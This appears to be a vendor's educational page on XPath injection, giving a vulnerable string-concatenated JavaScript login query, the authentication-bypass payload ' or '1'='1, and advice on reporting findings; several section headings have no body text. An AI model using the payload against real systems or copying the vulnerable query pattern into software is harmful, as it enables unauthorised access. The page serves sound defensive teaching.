XPath Injection
detect, understand, remediate

What is XPath injection?

XPath injection (CWE-643) is an injection attack against applications that build XPath or XQuery expressions from user input without proper escaping. When an application stores data in XML files or queries an XML database, and constructs the lookup expression by concatenating untrusted input into the query string, an attacker can inject XPath syntax to alter the query logic, bypass authentication, or read parts of the document the application never intended to expose.

XPath is the query language for navigating XML documents, similar in spirit to how SQL queries a relational database. Where SQL injection manipulates a relational query, XPath injection manipulates the path expression that selects nodes from an XML tree. The same root cause applies: unparameterised string concatenation gives an attacker partial control over the syntax of the query, and the data store evaluates whatever the application hands it.

XPath injection still appears in pentests against legacy enterprise applications, XML-backed authentication forms, configuration management systems, content publishing pipelines, and integrations with SOAP services that lean on XPath inside business logic. The class is closely related to LDAP injection and NoSQL injection: the syntax differs but the root cause and the impact pattern are the same.

How it works

A worked example

The pattern is easiest to read against an XML user file used for login. The application stores users in a document like the one below.

<users>
  <user>
    <name>alice</name>
    <password>s3cret</password>
    <role>user</role>
  </user>
  <user>
    <name>admin</name>
    <password>r00tpw</password>
    <role>admin</role>
  </user>
</users>

The login handler concatenates the submitted username and password into an XPath expression that fetches a matching user node.

// Vulnerable: string-concatenated XPath
const expr = "//user[name/text()='" + username +
             "' and password/text()='" + password + "']";
const match = doc.evaluate(expr, doc, null, XPathResult.ANY_TYPE, null);

An attacker submits a username of ' or '1'='1 and any password. The query is rebuilt as:

//user[name/text()='' or '1'='1' and password/text()='anything']

The predicate becomes always-true and matches the first user node in the document, which the application then treats as the authenticated user. The same shape covers blind XPath injection, where the attacker uses string-length and substring functions to enumerate nodes one character at a time when the application only confirms whether a query matched anything.

Common causes

How to detect it

How to fix it

Reporting an XPath injection finding

XPath injection findings carry the most weight when the report names the exact endpoint, the input that reached the query, the payload that demonstrated the predicate manipulation, and the data the manipulated query returned. A finding written as "XPath injection in login form" with no payload and no extracted node is hard for engineering to reproduce and easy to dispute. A finding written with the request, the response, and the proof-of-concept extraction reads as a working exploit.

On a SecPortal engagement, the finding sits on the engagement record with the affected endpoint, the CVSS 3.1 vector (typically high to critical depending on what the document holds), the CWE-643 mapping, the request and response evidence, and the remediation guidance. Pentest engagement records keep the proof of concept and the retest verification on the same finding, so the close-out conversation references the original payload rather than reconstructing it from email. The finding triage workflow covers how to separate scanner-derived signals from manually validated XPath findings during the testing window.

Compliance impact

A pentester checklist for XPath injection

The list below is the minimum coverage a tester should walk before declaring an XML-backed surface clear of XPath injection.